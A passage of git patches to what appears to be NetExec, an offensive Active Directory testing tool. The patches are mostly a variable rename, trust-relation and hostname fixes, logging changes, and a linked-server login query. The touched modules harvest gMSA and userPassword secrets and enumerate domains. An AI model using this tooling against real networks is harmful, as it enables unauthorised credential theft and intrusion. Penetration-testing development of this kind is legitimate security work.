bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData() + bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() try: - response = self.ldap_connection.sendReceive(bindRequest)[0]['protocolOp'] - ntlm_challenge = bytes(response['bindResponse']['matchedDN']) + response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) except Exception as e: self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") From 4a8e702f245d67fcefd0e6142c4b78b64444ec37 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:42:25 +0100 Subject: [PATCH 20/42] fix hostname --- nxc/protocols/ldap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ac185fb1..e9bdb89d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -229,7 +229,7 @@ class ldap(connection): def enum_host_info(self): self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args - self.hostname = self.target + self.hostname = self.target.split(".")[0].upper() self.remoteName = self.target self.domain = self.targetDomain @@ -260,7 +260,7 @@ class ldap(connection): self.logger.debug("Printing host info for LDAP") self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port - self.logger.extra["hostname"] = self.target.split(".")[0].upper() + self.logger.extra["hostname"] = self.hostname self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): From 4767762939b84a6539bdc3acac6b9bc5e98701d4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Dec 2024 17:31:25 -0500 Subject: [PATCH 21/42] Rename ldapConnection to the new ldap_connection var --- nxc/protocols/ldap.py | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e9bdb89d..30130369 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -134,7 +134,7 @@ class ldap(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.ldapConnection = None + self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" @@ -302,8 +302,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -347,8 +347,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -404,8 +404,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -425,8 +425,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -490,8 +490,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -511,8 +511,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -605,12 +605,12 @@ class ldap(connection): def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: - if self.ldapConnection: + if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) - return self.ldapConnection.search( + return self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, @@ -1158,7 +1158,7 @@ class ldap(connection): searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldapConnection.search( + resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ @@ -1286,7 +1286,7 @@ class ldap(connection): def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=[ @@ -1339,7 +1339,7 @@ class ldap(connection): else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], @@ -1369,7 +1369,7 @@ class ldap(connection): gmsa_pass = gmsa[1] # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], From ea7e0925a140c8082b3b496d51a0e817710f7f50 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 02:28:26 +0100 Subject: [PATCH 22/42] fix trust relation for smb --- nxc/protocols/smb.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e0440c53..676eaa76 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -296,9 +296,10 @@ class smb(connection): self.logger.debug(f"Error logging off system: {e}") # DCOM connection with kerberos needed - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" - if not self.kdcHost and self.domain: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") From 73ce6d773ff66a28508c430b0a999a90bb34b5e6 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 13:55:59 +0100 Subject: [PATCH 23/42] fix trust relation for ldap --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 30130369..c45dc3db 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -249,7 +249,7 @@ class ldap(connection): ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] - if not self.kdcHost and self.domain: + if not self.kdcHost and self.domain and self.domain == self.remoteName: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") From 930f045190cc8a541c5b64b6165e2d5e100442e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Dec 2024 08:28:27 -0500 Subject: [PATCH 24/42] Changing logging output --- nxc/modules/snipped.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index e5bfe00f..dd8b9fce 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -96,17 +96,17 @@ class NXCModule: connection.conn.getFile(self.share, remote_file_path, local_file.write) if not exists(local_file_path): - context.log.error(f"Downloaded file {local_file_path} does not exist.") + context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") continue file_size = getsize(local_file_path) if file_size == 0: - context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.") + context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") os.remove(local_file_path) else: total_files_downloaded += 1 except Exception as e: - context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") if total_files_downloaded > 0 and host_output_path: context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") From 2afb383cdf11e670df3164e1f1b699bf74dc592d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Dec 2024 08:36:55 -0500 Subject: [PATCH 25/42] Change error to fail message --- nxc/modules/mssql_coerce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py index 634b7e50..a4dca25a 100644 --- a/nxc/modules/mssql_coerce.py +++ b/nxc/modules/mssql_coerce.py @@ -75,5 +75,5 @@ class NXCModule: result = self.mssql_conn.sql_query(command) self.context.log.debug(f"Executing command: {command}, Command result: {result}") except Exception as e: - self.context.log.error(f"Failed to execute command: {command}, Error: {e}") + self.context.log.fail(f"Failed to execute command: {command}, Error: {e}") self.context.log.display("Commands executed successfully, check the listener for results") From 2a98a9255ede8b98573ecfcf9345c279ea2c11f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Dec 2024 09:42:32 -0500 Subject: [PATCH 26/42] Add a query for the linked server config if we are local admin --- nxc/modules/enum_links.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py index fea52cd3..01b97f30 100644 --- a/nxc/modules/enum_links.py +++ b/nxc/modules/enum_links.py @@ -1,11 +1,11 @@ class NXCModule: """ Enumerate SQL Server linked servers - Module by deathflamingo + Module by deathflamingo, NeffIsBack """ name = "enum_links" - description = "Enumerate linked SQL Servers" + description = "Enumerate linked SQL Servers and their login configurations." supported_protocols = ["mssql"] opsec_safe = True multiple_hosts = True @@ -14,6 +14,9 @@ class NXCModule: self.mssql_conn = None self.context = None + def options(self, context, module_options): + pass + def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn @@ -25,6 +28,18 @@ class NXCModule: else: self.context.log.fail("No linked servers found.") + def on_admin_login(self, context, connection): + res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") + srvs = [srv for srv in res if srv["Local Login"] != "NULL"] + if not srvs: + self.context.log.fail("No linked servers found.") + return + self.context.log.success("Linked servers found:") + for srv in srvs: + self.context.log.display(f"Linked server: {srv['Linked Server']}") + self.context.log.display(f" - Local login: {srv['Local Login']}") + self.context.log.display(f" - Remote login: {srv['Remote Login']}") + def get_linked_servers(self) -> list: """ Fetches a list of linked servers. @@ -36,5 +51,3 @@ class NXCModule: query = "EXEC sp_linkedservers;" res = self.mssql_conn.sql_query(query) return [server["SRV_NAME"] for server in res] if res else [] - def options(self, context, module_options): - pass From bb378830b3a5eb290a980ea849027a381aac8e56 Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Wed, 25 Dec 2024 13:50:02 +0300 Subject: [PATCH 27/42] Rename ldapConnection to the new ldap_connection var #508 #4767762 --- nxc/modules/adcs.py | 6 +++--- nxc/modules/daclread.py | 4 ++-- nxc/modules/enum_trusts.py | 2 +- nxc/modules/find-computer.py | 2 +- nxc/modules/get-desc-users.py | 2 +- nxc/modules/get-network.py | 2 +- nxc/modules/get-unixUserPassword.py | 2 +- nxc/modules/get-userPassword.py | 2 +- nxc/modules/group-mem.py | 2 +- nxc/modules/groupmembership.py | 2 +- nxc/modules/obsolete.py | 2 +- nxc/modules/pre2k.py | 2 +- nxc/modules/pso.py | 2 +- nxc/modules/sccm.py | 16 ++++++++-------- nxc/modules/subnets.py | 8 ++++---- nxc/modules/user-desc.py | 2 +- nxc/modules/whoami.py | 4 ++-- 17 files changed, 31 insertions(+), 31 deletions(-) diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 6946a9b0..c13c4e56 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -49,10 +49,10 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, @@ -61,7 +61,7 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) else: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index efec5532..0bdff145 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -274,8 +274,8 @@ class NXCModule: self.context = context """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" context.log.highlight("Be careful, this module cannot read the DACLS recursively.") - self.baseDN = connection.ldapConnection._baseDN - self.ldap_session = connection.ldapConnection + self.baseDN = connection.ldap_connection._baseDN + self.ldap_session = connection.ldap_connection # Searching for the principal SID if self.principal_sAMAccountName is not None: diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index fc6ed852..ef43bcb0 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -21,7 +21,7 @@ class NXCModule: attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) trusts = [] context.log.debug(f"Total of records returned {len(resp)}") diff --git a/nxc/modules/find-computer.py b/nxc/modules/find-computer.py index dc1838bf..fa5dff4c 100644 --- a/nxc/modules/find-computer.py +++ b/nxc/modules/find-computer.py @@ -39,7 +39,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index 31c76816..17ab95ea 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 4579815d..732acd2c 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -121,7 +121,7 @@ class NXCModule: sfilter = "(DC=*)" try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=search_target, searchFilter=sfilter, attributes=["dnsRecord", "dNSTombstoned", "name"], diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 46e26f9e..fbf88a99 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "unixUserPassword"], sizeLimit=0, diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 182fce30..2888941e 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index 28b81198..f9464ee3 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -68,7 +68,7 @@ class NXCModule: def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: diff --git a/nxc/modules/groupmembership.py b/nxc/modules/groupmembership.py index c8f9d255..ce9000d0 100644 --- a/nxc/modules/groupmembership.py +++ b/nxc/modules/groupmembership.py @@ -37,7 +37,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index d09b0081..f1a50430 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index e2ceb4b6..8fe1c460 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): try: - ldap_connection = connection.ldapConnection + ldap_connection = connection.ldap_connection # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index a9d930d1..973a1f06 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): # Are there even any FGPPs? context.log.success("Attempting to enumerate policies...") - resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") + resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") if len(resp) > 1: context.log.highlight(f"{len(resp) - 1} PSO Objects found!") context.log.highlight("") diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index de317d74..871617c8 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -49,7 +49,7 @@ class NXCModule: """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection - self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn + self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration @@ -58,7 +58,7 @@ class NXCModule: search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor"], sizeLimit=0, @@ -129,7 +129,7 @@ class NXCModule: try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], @@ -157,7 +157,7 @@ class NXCModule: try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) @@ -176,7 +176,7 @@ class NXCModule: def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], @@ -199,7 +199,7 @@ class NXCModule: def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], @@ -244,7 +244,7 @@ class NXCModule: """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], @@ -277,7 +277,7 @@ class NXCModule: def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], diff --git a/nxc/modules/subnets.py b/nxc/modules/subnets.py index 0f2001d0..d19f40c2 100644 --- a/nxc/modules/subnets.py +++ b/nxc/modules/subnets.py @@ -42,12 +42,12 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn context.log.display("Getting the Sites and Subnets from domain") try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], @@ -68,7 +68,7 @@ class NXCModule: site_description = site["description"] # Getting subnets of this site - list_subnets = connection.ldapConnection.search( + list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], @@ -86,7 +86,7 @@ class NXCModule: if self.showservers: # Getting machines in these subnets - list_servers = connection.ldapConnection.search( + list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 88d998ba..866b8959 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -76,7 +76,7 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=self.search_filter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/whoami.py b/nxc/modules/whoami.py index f49d281d..c33bf329 100644 --- a/nxc/modules/whoami.py +++ b/nxc/modules/whoami.py @@ -17,13 +17,13 @@ class NXCModule: self.username = module_options["USER"] def on_login(self, context, connection): - searchBase = connection.ldapConnection._baseDN + searchBase = connection.ldap_connection._baseDN searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})" context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter") # Get attributes of provided user - r = connection.ldapConnection.search( + r = connection.ldap_connection.search( searchBase=searchBase, searchFilter=searchFilter, attributes=[ From c0e618fe415a75dc9e538d0f82a50aefa1183b46 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 26 Dec 2024 08:53:11 -0500 Subject: [PATCH 28/42] Fix #514 --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 8df5cb95..e2114a7d 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -384,7 +384,7 @@ class connection: if isfile(user): with open(user) as user_file: for line in user_file: - if "\\" in line: + if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain From 1b7dbe3ba1867d9d7c6db88a8346601b4f0595e9 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Fri, 27 Dec 2024 01:26:55 +0800 Subject: [PATCH 29/42] [SMB] Allow force to use smbv2 Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 15 +++++++++------ nxc/protocols/smb/proto_args.py | 1 + 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 676eaa76..01c039e9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -583,22 +583,23 @@ class smb(connection): return False return True - def create_conn_obj(self, no_smbv1=False): + def create_conn_obj(self): """ Tries to create a connection object to the target host. On first try, it will try to create a SMBv1 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. - - :param no_smbv1: If True, it will not try to create a SMBv1 connection """ + if self.args.force_smbv2: + return self.create_smbv3_conn() + # Initial negotiation - if not no_smbv1 and self.smbv1 is None: + if self.smbv1 is None: self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True elif not self.is_timeouted: return self.create_smbv3_conn() - elif not no_smbv1 and self.smbv1: + elif self.smbv1: return self.create_smbv1_conn() else: return self.create_smbv3_conn() @@ -879,8 +880,10 @@ class smb(connection): write = False write_dir = False write_file = False + pwd = ntpath.join("\\", "*") + pwd = ntpath.normpath(pwd) try: - self.conn.listPath(share_name, "*") + self.conn.listPath(share_name, pwd) read = True share_info["access"].append("READ") except SessionError as e: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5f1875aa..9f5ef419 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -16,6 +16,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) + smb_parser.add_argument("--force-smbv2", action="store_true", help="Force to use SMBv2 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", 